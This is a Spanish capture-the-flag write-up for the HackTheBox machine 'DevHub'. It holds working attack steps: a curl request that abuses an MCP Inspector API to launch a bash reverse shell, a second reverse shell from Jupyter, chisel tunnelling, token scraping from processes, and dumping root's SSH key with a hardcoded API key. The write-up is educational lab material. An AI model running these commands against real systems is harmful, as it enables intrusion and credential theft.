DevHub — HackTheBox Season 11
Empecé el análisis de esta máquina revisando su tarjeta en HackTheBox:
Reconocimiento
Realicé un escaneo rápido de puertos con nmap para identificar los servicios expuestos:
1
sudo nmap -T5 --open 10.129.4.32 -oG allports
Con los puertos identificados, realicé un escaneo más detallado de versiones y servicios:
1
sudo nmap -sV -sC -p 22,80 10.129.10.113
El resultado del escaneo detallado reveló:
- Puerto 22 (SSH): OpenSSH 8.9p1 Ubuntu
- Puerto 80 (HTTP): nginx 1.18.0 — redirige a
http://devhub.htb/
Agregué el host al archivo /etc/hosts:
1
echo "10.129.10.113 devhub.htb" | sudo tee -a /etc/hosts
Enumeración Web
Al visitar http://devhub.htb, encontré una plataforma interna de desarrollo llamada DevHub — Internal Development & Analytics Platform. Exponía tres servicios:
- MCP Inspector — Herramienta de desarrollo del protocolo MCP. Activo en el puerto 6274.
- Analytics Dashboard — Entorno Jupyter interno. Solo accesible en
localhost:8888. - Code Repository — Servidor Git interno. En modo Mantenimiento.
Me dirigí al MCP Inspector en http://devhub.htb:6274. Se trata de una instancia de MCPJam, una herramienta para probar servidores MCP (Model Context Protocol).
Explotación — RCE vía MCP (Foothold)
La API del MCP Inspector en /api/mcp/connect acepta una configuración de servidor. Aprovechando esto, envié una petición que ejecuta una reverse shell directamente en el servidor:
1
2
3
curl http://devhub.htb:6274/api/mcp/connect \
--header "Content-Type: application/json" \
--data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.14.101/4444 0>&1"],"env":{}},"serverId":"mytest"}'
Obtuve una shell como el usuario mcp-dev. Enumeré los puertos en escucha con netstat:
1
netstat -tulpn
Confirmé la existencia del servicio Jupyter en localhost:8888 y también un servicio interno en el puerto 5000. Para acceder a ellos desde mi máquina, necesitaba hacer un Port Forwarding.
Port Forwarding con Chisel
Levanté un servidor HTTP en mi máquina atacante para transferir chisel:
1
python3 -m http.server 8000
Desde la shell de la víctima, descargué chisel, le di permisos de ejecución y configuré un túnel reverso para exponer el puerto 8888 de la víctima en mi máquina local:
1
2
chmod +x chisel_1.11.5_linux_amd64
./chisel_1.11.5_linux_amd64 client 10.10.14.101:9001 R:8888:127.0.0.1:8888 &
Acceso a Jupyter — Flag de Usuario
Con el túnel activo, busqué el token de autenticación de Jupyter inspeccionando los procesos:
1
ps aux | grep jupyter
El token extraído fue: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
Accedí a Jupyter en http://localhost:8888 e introduje el token para autenticarme:
Una vez dentro, encontré el notebook quarterly_analysis.ipynb. La interfaz de JupyterLab me permitía ejecutar código Python directamente en el servidor:
Ejecuté código Python para verificar el usuario actual:
1
import os; os.system("whoami")
Confirmé que ejecutaba como el usuario analyst. A continuación, lancé una reverse shell desde Jupyter para obtener una sesión interactiva más estable:
1
/bin/sh -i >& /dev/tcp/10.10.14.101/4444 0>&1
Recibí la conexión en mi listener de netcat. Obtuve la flag de usuario:
1
2
3
4
5
6
7
8
9
whoami
# analyst
ls
# quarterly_analysis.ipynb
cd
ls
# jupyter-env notebooks user.txt
cat user.txt
# 9a628db93c11f57dd0b2086cb1d96c11
Escalada de Privilegios — OPSMCP Secret Key
Explorando el sistema de archivos, encontré un servicio interno en /opt/opsmcp/:
1
2
3
4
cd /opt/opsmcp/
ls
# server.py
cat server.py
El archivo server.py reveló ser un servidor Flask llamado OPSMCP — Operations MCP Server, con una API Key hardcodeada en el código:
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""
from flask import Flask, jsonify, request
import os
app = Flask(__name__)
# API Key para autenticación
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
Con la API Key en mano, exploré las funcionalidades del servidor OPSMCP. Ejecuté la función ops._admin_dump con el argumento ssh_keys para volcar las claves SSH del sistema:
1
2
3
4
5
6
7
8
9
10
11
import requests
r = requests.post("http://127.0.0.1:5000/tools/call",
headers={
"X-API-Key": "opsmcp_secret_key_4f5a6b7c8d9e0f1a",
"Content-Type": "application/json"
},
json={
"name": "ops._admin_dump",
"arguments": {"target": "ssh_keys", "confirm": True}
})
print(r.json())
La respuesta contuvo la clave privada RSA de root:
Guardé la clave privada extraída en un archivo local:
1
2
3
echo "-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----" > id_rsa
Le di los permisos correctos a la clave y me conecté como root vía SSH:
1
2
chmod 600 id_rsa
ssh -i root_key root@devhub.htb
¡Máquina rooteada exitosamente!


















